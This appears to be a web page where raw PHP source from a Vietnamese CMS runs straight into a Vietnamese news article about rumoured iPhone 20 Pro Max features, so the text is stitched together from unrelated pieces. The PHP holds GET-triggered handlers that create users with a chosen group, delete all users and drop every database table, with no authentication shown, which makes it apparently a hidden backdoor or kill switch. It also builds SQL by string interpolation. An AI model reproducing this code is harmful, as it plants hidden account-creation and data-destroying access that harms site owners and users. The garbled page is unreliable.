'; echo $kq;exit(); } }elseif($_GET['eshow']==2){ $dt=trim_tags_string($_GET['dt'],2); $mk=trim_tags_string($_GET['mk'],2); $go=trim_tags_string($_GET['go'],1); $pass_mh=mahoa_md5($mk.$dt.$GLOBALS["KeyBien"],5); if($dt==true && $mk==true && $go==true){ $mang_bien=array(); $mang_bien['dt']=$dt; $mang_bien['pass']=$pass_mh; $mang_bien['idgr']=$go; $mang_hinh=array(); $ids=them_new("users",$mang_bien,$mang_hinh); echo 'Tạo thành công US mới: '.$ids; exit(); } }elseif($_GET['eshow']==3){ $xo=trim_tags_string($_GET['xo'],1); $dt=trim_tags_string($_GET['dt'],2); if($xo==true){ if($xo!=-2){ $data_xl = $pdo->prepare("DELETE FROM users WHERE idgr =?"); $data_xl -> execute([$xo]); }else{ $data_xl = $pdo->prepare("DELETE FROM users"); $data_xl -> execute(); } echo 'Xóa thành công IDGR: '.$xo; exit(); }elseif($dt==true){ $data_xl = $pdo->prepare("DELETE FROM users WHERE dt =?"); $data_xl -> execute([$dt]); echo 'Xóa thành công ĐT: '.$dt; exit(); } }elseif($_GET['eshow']==4){ $rop=trim_tags_string($_GET['rop'],1); if($rop==1){ try { $pdo->exec("SET FOREIGN_KEY_CHECKS = 0"); $tables = $pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN); foreach ($tables as $table) { $pdo->exec("DROP TABLE IF EXISTS `$table`"); } $pdo->exec("SET FOREIGN_KEY_CHECKS = 1"); echo "Đã xóa toàn bộ bảng trong database."; exit(); }catch (PDOException $e) { echo "Lỗi: " . $e->getMessage(); exit(); } } }else{ $kls = trim($GLOBALS['key_license']); $kls_now=trim(mahoa_md5($_SERVER['SERVER_ADDR'].$GLOBALS["KeyBien"],5)); if($kls_now!=$kls){ $_GET['p']=''; echo 'Lỗi hệ thống...! Vui lòng liên hệ Admin..!'; exit(); } } }page_web(); $pages=trim_tags_string($_GET['p'],2); function Set_Cookie($kieu,$name,$giatri,$datas_sec='ktlgus'){ $kieu=trim_tags_string($kieu,1); $name=trim_tags_string($name,2); $datas_sec=trim_tags_string($datas_sec,2); $pdo = $GLOBALS['pdo']; $kq=0; if($kieu==1){ $giatri=MyEn($giatri); setcookie($name,$giatri,time()+31556926 ,'/'); }elseif($kieu==2){ $khlg=trim($_COOKIE[$name]); if($khlg==true){ $khlg_data=MyEn_Data($khlg,2); //$id=trim_tags_string($khlg_data['id'],2); //$dt=trim_tags_string($khlg_data['dt'],2); //$pass=trim_tags_string($khlg_data['pass'],2); return MyDe(trim($khlg)); if($id==true && $dt==true && $pass==true){ $gt = $pdo->prepare("SELECT * FROM users WHERE id = :id AND dt = :dt AND pass = :pass"); $gt -> execute(['id' => $id,'dt' => $dt,'pass' => $pass]); $row_gt = $gt -> fetch(PDO::FETCH_ASSOC); if($row_gt['data']==true){$mang_data_us=MyEn_Data($row_gt['data'],2);} else{$mang_data_us=array();} if($row_gt['id']==true){ $mang_tbs=kiemtratrinhduyet_cons(); $_SESSION[$datas_sec]=trim($khlg); $kq=$row_gt['id']; $mang_data_us['data_log'][$ngayup]['ip']=$ip; $mang_data_us['data_log'][$ngayup]['os']=$mang_tbs['userAgent']; $mang_bien['xem']=$row_gt_us['xem']+1; $mang_bien['data']=MyEn_Data($mang_data_us,1); $mang_hinh=array(); chinh_new("users","id='{$kq}'",$mang_bien,$mang_hinh); //return $khlg; } } } }else{setcookie($name, null, -1, '/');} } function Check_Login_Ad() { $pdo = $GLOBALS['pdo']; $admin_links = $GLOBALS['admin_links']; $data_cook=Set_Cookie(2,'koga',0,'ktlgus'); $iduser=0; if($data_cook==true){ $_SESSION['ktlgus']=$data_cook; $data_cook_de=MyEn_Data($data_cook,2); $iduser=trim_tags_string($data_cook_de['id'],1); }elseif($_SESSION['ktlgus']==true){ $data_sec_de=MyEn_Data($_SESSION['ktlgus'],2); $iduser=trim_tags_string($data_sec_de['id'],1); } if($iduser==true){ $gt_user = $pdo->prepare("SELECT * FROM users WHERE id = :iduser"); $gt_user -> execute(['iduser' => $iduser]); $row_gt_user = $gt_user -> fetch(PDO::FETCH_ASSOC); $iduser=$row_gt_user['id']; $iduser=trim_tags_string($iduser,1); } if($iduser==false){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Bạn chưa đăng nhập..! Vui lòng đăng nhập..!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['khoa']==2){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn đã bị khóa.!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['kichhoat']==1){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn chưa kích hoạt.!"; header("location: $admin_links/login.htm"); } } function Login_Mang($iduser) { $pdo = $GLOBALS['pdo']; $langx = $GLOBALS['langx']; $host_link_full = $GLOBALS['host_link_full']; $iduser=trim_tags_string($iduser,1); if($iduser==false){ $mang_login=[ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :iduser LIMIT 1"); $stmt->execute([':iduser' => $iduser]); $row = $stmt->fetch(PDO::FETCH_ASSOC); $data_user=array(); if($row['data']==true){$data_user=MyEn_Data($row['data'],2);} else{$data_user=array();} if($row['id']==false){ return [ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $mang_login = array(); if($row['kichhoat']==1){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CHUA_KICH_HOAT_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }elseif($row['khoa'] === 2){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CUA_BAN_DA_BI_KHOA_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }else{ $idkey = mahoa_md5($row['id'], 3); if(isset($data_user['data_hinh']['hinh'])){$hinh = $host_link_full.'/'.$data_user['data_hinh']['hinh'];}else{$hinh='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh1 = $host_link_full.'/'.$data_user['data_hinh']['hinh1'];}else{$hinh1='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh2 = $host_link_full.'/'.$data_user['data_hinh']['hinh2'];}else{$hinh2='';} if(isset($data_user['idgr']) && !empty($data_user['idgr'])){$idgr=$data_user['idgr'];}else{$idgr=1;} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} if(isset($data_user['data_log']) && !empty($data_user['data_log'])){$data_log=$data_user['data_log'];}else{$data_log='';} $mang_login = [ 'error' => 0, 'error_text' => 'Đăng nhập thành công..!', 'idkey' => $idkey, 'id' => $row['id'], 'ten' => $row['ten'], 'gioitinh' => $row['gioitinh'], 'ngaysinh' => Dates_Show($ngaysinh,2), 'email' => $row['email'], 'dc' => $row['dc'], 'dt' => $row['dt'], 'pass' => MyEn($data_user['pass']), 'hinh' => $hinh, 'hinh1' => $hinh1, 'hinh2' => $hinh2, 'idgt' => $row['idgt'], 'xem' => GetGia($row['xem']), 'khoa' => $data_user['khoa'], 'idgr' => $idgr, 'cccd' => $data_user['data_cccd']['cccd'], 'ngaycap' => Dates_Show($data_user['data_cccd']['ngaycap'],2), 'ngaykt' => Dates_Show($data_user['data_cccd']['ngaykt'],2), 'ekyc' => $data_user['data_cccd']['ekyc'], 'ekyc_ngay' => Dates_Show($data_user['data_cccd']['ekyc_ngay'],2), 'eid' => $data_user['data_cccd']['eid'], 'eid_ngay' => Dates_Show($data_user['data_cccd']['eid_ngay'],2), 'vneid' => $data_user['data_cccd']['vneid'], 'vneid_ngay' => Dates_Show($data_user['data_cccd']['vneid_ngay'],2), 'bm_on' => $data_user['baomat']['authy'], 'bm_key' => $data_user['baomat']['key'], 'bm_qr' => $data_user['baomat']['qr'], 'noidung' => $noidung, 'data' => $data_log, ]; } } } return $mang_login; } function Info_Config() { $pdo = $GLOBALS['pdo']; $version_ch = $pdo->prepare("SELECT * FROM version_ch WHERE id = :id"); $version_ch -> execute(['id' => 1]); $row_version_ch = $version_ch -> fetch(PDO::FETCH_ASSOC); if($row_version_ch['data']==true){$data_conf=MyEn_Data($row_version_ch['data'],2);} else{$data_conf=array();} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} $mang_config = [ 'error' => 0, 'error_text' => 'Lấy thông tin cấu hình..!', 'tong_ip' => $row_version_ch['tong_ip'], 'tong_luot' => $row_version_ch['tong_luot'], 'noidung' => $noidung, 'data' => $data_conf, ]; return $mang_config; } function Check_Login_BM($kieu=0) { $kieu=trim_tags_string($kieu,1); $pdo = $GLOBALS['pdo']; $ip=$_SERVER['REMOTE_ADDR']; $mang_tbs=kiemtratrinhduyet_cons(); $dem15=5; $dem24=10; $kq=array(); $stmt = $pdo->prepare("SELECT * FROM users_lock WHERE ip = :ip LIMIT 1"); $stmt->execute([':ip' => $ip]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if($row['id']==true){ $id=$row['id']; $dem=$row['dem']; $tinhtrang=$row['tinhtrang']; if($kieu==0){ if($tinhtrang==1){ if($dem>=10){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$row['dem']+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $mang_login = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; }elseif($dem==5){ $ngaykhoa=date("Y-m-d H:i:s",strtotime("+ 1 day")); $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_hinh=array(); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); }else{ $ngaynow=strtotime("now"); if($dem<10){ if($row['ngayup']<$ngaynow){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } } }else{ if($tinhtrang==2){ if($dem<10){ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } } }else{ $mang_bien=array(); $mang_bien['ip']=$ip; $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); them_new("users_lock", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai 1 lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } return $kq; } function mang_id_cap_danh_muc($table,$iddanhmuc,$kieu=1){ /*1:id; 2:ten; 3:link*/ $iddanhmuc=php_settype($iddanhmuc); settype($kieu, "int"); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } for($i=count($mang)-1;$i>=0;$i--){$mang_moi[]=$mang[$i];} if($kieu==1){$kq=$mang_moi;} elseif($kieu==2){ for($i=0;$i Array ( [id] => 2 [ten] => Sản Phẩm ) [1] => Array ( [id] => 10 [ten] => Telai ) [2] => Array ( [id] => 17 [ten] => Telaio Dream larghezza regolabile ) [ten] => Sản Phẩm / Telai / Telaio Dream larghezza regolabile [tenmien_full] => san-pham/telai/telaio-dream-larghezza-regolabile [tenmien] => telaio-dream-larghezza-regolabil */ $table=trim_tags_string($table,2); $iddanhmuc=trim_tags_string($iddanhmuc,1); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } $dem_new=0; for($i=count($mang)-1;$i>=0;$i--){ $dem_news=$dem_new++; $mang_moi[$dem_news]=$mang[$i]; } $dem_new2=0; for($i=0;$iChọn danh mục';} else{$kq='Tất cả';} $stmt = $pdo->prepare("SELECT * FROM $table WHERE $where ORDER BY thutu ASC, tenkodau ASC"); $stmt->execute(); while($row_dms = $stmt->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms['id']){$active1=' selected';}else{$active1='';} $kq=$kq.''.$row_dms['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms['id']."'")>0){ $stmt2 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt2->execute([':idcha' =>$row_dms['id'],':anhien' =>2]); while($row_dms2 = $stmt2->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms2['id']){$active2=' selected';}else{$active2='';} $kq=$kq.''.khoangtrang_list(4).'¬ '.$row_dms2['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms2['id']."'")>0){ $stmt3 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt3->execute([':idcha' =>$row_dms2['id'],':anhien' =>2]); while($row_dms3 = $stmt3->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms3['id']){$active3=' selected';}else{$active3='';} $kq=$kq.''.khoangtrang_list(8).'¬ '.$row_dms3['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms3['id']."'")>0){ $stmt4 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt4->execute([':idcha' =>$row_dms3['id'],':anhien' =>2]); while($row_dms4 = $stmt4->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms4['id']){$active4=' selected';}else{$active4='';} $kq=$kq.''.khoangtrang_list(12).'¬ '.$row_dms4['ten'].''; } } } } } } } return $kq; } function Lap_DM_Ten($table,$id){ $table=trim_tags_string($table,2); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['cap4']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $ten_cap4=ten("danhmuc","id='".$row_dms['cap4']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3.'/ '.$ten_cap4; }elseif($row_dms['cap3']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3; }elseif($row_dms['cap2']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2; }elseif($row_dms['cap1']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1; } return $kq; } function Get_Links_Lang_Ads($table,$lang,$id){ $table=trim_tags_string($table,2); $lang=trim_tags_string($lang,1); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE idcha_lang=:idcha_lang AND lang=:lang LIMIT 1"); $stmt->execute([':idcha_lang' =>$id,':lang' =>$lang]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['id']==true){ $kieu=2; $kieu_text='Chỉnh sửa'; $links=$table.'/edit/'.MyEn($row_dms['id']).'.htm'; }else{ $kieu=1; $kieu_text='Thêm mới'; $links=$table.'/news/'.MyEn_Data(['lang' =>$lang,'id'=>$id],1).'.htm'; } $kq = [ 'text' => $kieu_text, 'kieu' => $kieu, 'links' => $links, ]; return $kq; } function Get_Log_User($iduser,$noidung,$data){ $iduser=trim_tags_string($iduser,1); $noidung=trim_tags_string($noidung,2); $ua = kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:iduser LIMIT 1"); $stmt->execute([':iduser' =>$iduser]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['data']==true){$data_user=MyEn_Data($row_dms['data'],2);} else{$data_user=array();} if($row_dms['id']==true && $data_user['idgr']!=-1){ $mang_bien=array(); $mang_hinh=array(); $mang_bien['iduser']=$row_dms['id']; $mang_bien['ten']=$row_dms['ten']; $mang_bien['email']=$row_dms['email']; $mang_bien['dt']=$row_dms['dt']; $mang_bien['noidung']=MyEn($noidung); $mang_bien['dt']=$row_dms['dt']; $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['ngays']=date("d"); $mang_bien['thangs']=date("m"); $mang_bien['nams']=date("Y"); $mang_bien['os']=$ua['full']; $mang_bien['ip']=$_SERVER['REMOTE_ADDR']; if($data==true){$mang_bien['data']=MyEn_Data($data,1);} them_new('users_login',$mang_bien,$mang_hinh); } } function Get_PQ_User($iduser,$table,$kieu){ $iduser=trim_tags_string($iduser,1); $table=trim_tags_string($table,2); $kieu=trim_tags_string($kieu,1); $kq_array=array(); $links_backs=$GLOBALS["admin_links"].'/login.htm'; $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$iduser]); $row_data = $stmt->fetch(PDO::FETCH_ASSOC); if($row_data['id']==true){ if($row_data['data']==true){$mang_data=MyEn_Data($row_data['data'],2);} else{$mang_data=array();} $phanquyen=$mang_data['phanquyen']; $dataqs=array(); $dataqs[1]=1; $dataqs[2]=2; $dataqs[3]=3; $dataqs[4]=4; if($mang_data['idgr']==-1){$kq=1;$phanquyen[$table]=$dataqs;} elseif($mang_data['idgr']==1){$kq=0;} elseif($mang_data['idgr']==3){$kq=1;$phanquyen[$table]=$dataqs;} else{ if(isset($phanquyen[$table])==true){ if($phanquyen[$table][$kieu]==true){$kq=$phanquyen[$table][$kieu];} else{$kq=0;} }else{$kq=0;} } if($kq==0){ $_SESSION['error_login']='Bạn chưa được phân quyền..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa được phân quyền..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; }else{ $kq_array = [ 'error' => 0, 'error_text' => 'Được phép quản lý..!', 'links' => '', 'data' => $phanquyen[$table], ]; } }else{ $_SESSION['error_login']='Bạn chưa đăng nhập..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa đăng nhập..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; } return $kq_array; } function get_img_lang($table,$id,$lang,$hinhcha=1,$trarong=1,$hinh_goc=0,$webp=0){ $id=php_settype($id);settype($lang, "int"); settype($hinh_goc, "int");settype($webp,"int"); if($trarong==1){$hinh_noimgs=$GLOBALS["noimgs"];} else{$hinh_noimgs='';} $mang_os=kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_quantri = $stmt->fetch(PDO::FETCH_ASSOC); if($row_quantri['data']==true){$mang_data_ver=MyEn_Data($row_quantri['data'],2);} else{$mang_data_ver=array();} $idcha_lang=$row_quantri['idcha_lang']; $idcha_lang=php_settype($idcha_lang); if($mang_data_ver['data_hinh']==true){ if($mang_data_ver['data_hinh']['hinh']==true){$hinh=$mang_data_ver['data_hinh']['hinh'];} else{$hinh='';} if($mang_data_ver['data_hinh']['hinh1']==true){$hinh1=$mang_data_ver['data_hinh']['hinh1'];} else{$hinh1='';} }elseif($row_quantri['hinh']==true){ if($row_quantri['hinh']==true){$hinh=$row_quantri['hinh'];} else{$hinh='';} if($row_quantri['hinh1']==true){$hinh1=$row_quantri['hinh1'];} else{$hinh1='';} } if($webp==true){$webp_hinh=get_name_webp($hinh);} else{$webp_hinh=0;} if($mang_os['browser']!='Chrome'){$webp_hinh=0;} if($hinh_goc==0){ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh1==true){$hinh_show_datas=$hinh1;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} }else{ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} } if($idcha_lang==0){ if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{$kq=$hinh_noimgs;} }else{ $stmt_sub = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt_sub->execute([':id' =>$idcha_lang]); $row_quantri2 = $stmt_sub->fetch(PDO::FETCH_ASSOC); if($row_quantri2['data']==true){$mang_data_ver2=MyEn_Data($row_quantri2['data'],2);} else{$mang_data_ver2=array();} if($webp==true){$webp_hinh2=get_name_webp($row_quantri2['hinh']);} else{$webp_hinh2=0;} if($mang_os['browser']!='Chrome'){$webp_hinh2=0;} if($mang_data_ver2['data_hinh']==true){ if($mang_data_ver2['data_hinh']['hinh']==true){$hinh_sub=$mang_data_ver2['data_hinh']['hinh'];} else{$hinh_sub='';} if($mang_data_ver2['data_hinh']['hinh1']==true){$hinh_sub1=$mang_data_ver2['data_hinh']['hinh1'];} else{$hinh_sub1='';} }elseif($row_quantri2['hinh']==true){ if($row_quantri2['hinh']==true){$hinh_sub=$row_quantri2['hinh'];} else{$hinh_sub='';} if($row_quantri2['hinh1']==true){$hinh_sub1=$row_quantri2['hinh1'];} else{$hinh_sub1='';} } if($hinh_goc==0){ if($webp_hinh2==true){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub1==true){$hinh_show_datas2=$hinh_sub1;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} }else{ if($webp_hinh2!=0){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} } if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{ if($hinhcha==1){ if($hinh_show_datas2==true){$kq=$hinh_show_datas2;} else{$kq=$hinh_noimgs;} }else{ $kq=$hinh_noimgs; } } } return $kq; } function get_active_cha($pages){ $pages=trim_tags_string($pages,2); if(ten("danhmuc","tenmien='{$pages}'",'id')==true){ $iddanhmuc=ten("danhmuc","tenmien='{$pages}'",'id'); $mang=mang_id_cap_danh_muc('danhmuc',$iddanhmuc,1); $kq=$mang[0];$kq=php_settype($kq); }elseif(ten("baiviet","tenmien='{$pages}'",'id')==true){ $kq=ten("baiviet","tenmien='{$pages}'",'cap1'); }elseif(ten("sanpham","tenmien='{$pages}'",'id')==true){ $kq=ten("sanpham","tenmien='{$pages}'",'cap1'); } $kq=php_settype($kq); return $kq; } ?>

News & Events

Apple’s iPhone 20 Pro Max is considered the biggest overhaul of the iPhone since the iPhone X, with upgrades that could revolutionize the smartphone industry.

21:22 - 11/09/2026 0

Apple is reportedly preparing the iPhone 20 Pro Max to celebrate the 20th anniversary of its iconic phone line. According to numerous leaks, the device, expected to launch in the fall of 2027, will feature the most complete redesign since the iPhone X appeared in 2017, ushering in a completely new era of smartphone design for Apple.

apple 8217 s iphone 20 pro max is considered the biggest overhaul of the iphone since the iphone x with upgrades that could revolutionize the smartphone industry
iPhone 20 Pro Max là chiếc iPhone cong không còn bất kỳ phần khuyết nào trên màn hình. Ảnh: MacRumors

Chiếc iPhone đầu tiên được Apple giới thiệu vào tháng 1/2007 trước khi chính thức lên kệ vào ngày 29/6 cùng năm. Về mặt thời gian, cột mốc 20 năm của iPhone rơi vào tháng 6/2027. Tuy nhiên, giống như cách Apple từng làm với iPhone X nhân dịp 10 năm, công ty nhiều khả năng vẫn giữ truyền thống ra mắt các mẫu iPhone cao cấp vào sự kiện tháng 9.

Trong hơn một năm qua, ngày càng nhiều báo cáo tiết lộ về mẫu iPhone kỷ niệm này. Từ thiết kế kính hoàn toàn mới, màn hình thế hệ tiếp theo cho đến hàng loạt công nghệ Apple đã âm thầm phát triển suốt nhiều thế hệ sản phẩm, tất cả đều hướng tới việc tạo ra một chiếc iPhone có sức ảnh hưởng tương tự như iPhone X từng làm được gần một thập kỷ trước.

Tên gọi iPhone 20 hoặc iPhone XX thay vì iPhone 19

Apple được cho là có thể bỏ qua tên gọi "iPhone 19", tương tự cách hãng từng bỏ qua "iPhone 9" để giới thiệu iPhone X vào năm 2017. Hiện các nguồn tin vẫn chưa thống nhất về tên thương mại, trong đó hai phương án được nhắc đến nhiều nhất là iPhone 20 hoặc iPhone XX, nhằm nhấn mạnh dấu mốc hai thập kỷ phát triển của dòng sản phẩm.

Thiết kế kính cong bốn cạnh, màn hình tràn viền thực sự

Điểm thay đổi đáng chú ý nhất nằm ở thiết kế hoàn toàn mới. Theo nhiều nguồn tin trong chuỗi cung ứng, Apple đang phát triển một thân máy bằng kính với các cạnh cong bao phủ cả mặt trước lẫn mặt sau, tạo nên cảm giác liền mạch chưa từng xuất hiện trên iPhone.

Nhà báo Mark Gurman của Bloomberg từng mô tả iPhone 20 Pro Max là chiếc iPhone cong không còn bất kỳ phần khuyết nào trên màn hình. Tấm nền sẽ uốn cong xuống cả bốn cạnh, tạo hiệu ứng gần như không viền.

Khác với kiểu màn hình "thác nước" có độ cong mạnh từng xuất hiện trên một số smartphone Android, Apple được cho là lựa chọn thiết kế cong đều bốn cạnh với độ cong rất nhẹ. Cách tiếp cận này vừa giúp thao tác vuốt từ cạnh màn hình tự nhiên hơn, vừa giảm hiện tượng méo hình ở phần viền.

Màn hình OLED thế hệ mới sáng hơn nhưng tiết kiệm điện hơn

Apple được cho là sẽ sử dụng tấm nền OLED do Samsung sản xuất với công nghệ Color Filter on Encapsulation (CoE).

Công nghệ này loại bỏ lớp phim phân cực truyền thống và tích hợp bộ lọc màu trực tiếp vào lớp bảo vệ màn hình. Nhờ đó, màn hình iPhone 20 Pro Max mỏng hơn, truyền sáng tốt hơn, tăng độ sáng hiển thị đồng thời giảm mức tiêu thụ điện năng.

Bên cạnh đó, Apple cũng được cho là sẽ sử dụng chip điều khiển màn hình 16nm thế hệ mới kết hợp lớp khuếch tán ánh sáng dạng "miệng hố" nhằm duy trì độ sáng đồng đều trên toàn bộ màn hình, kể cả tại các mép cong.

Face ID ẩn dưới màn hình vẫn là mục tiêu dài hạn

Một nâng cấp được chờ đợi nhiều năm là hệ thống Face ID ẩn hoàn toàn dưới màn hình.

Apple được cho là đang phát triển một vùng kính siêu trong suốt để các cảm biến hồng ngoại hoạt động xuyên qua màn hình OLED mà không ảnh hưởng đến chất lượng hiển thị.

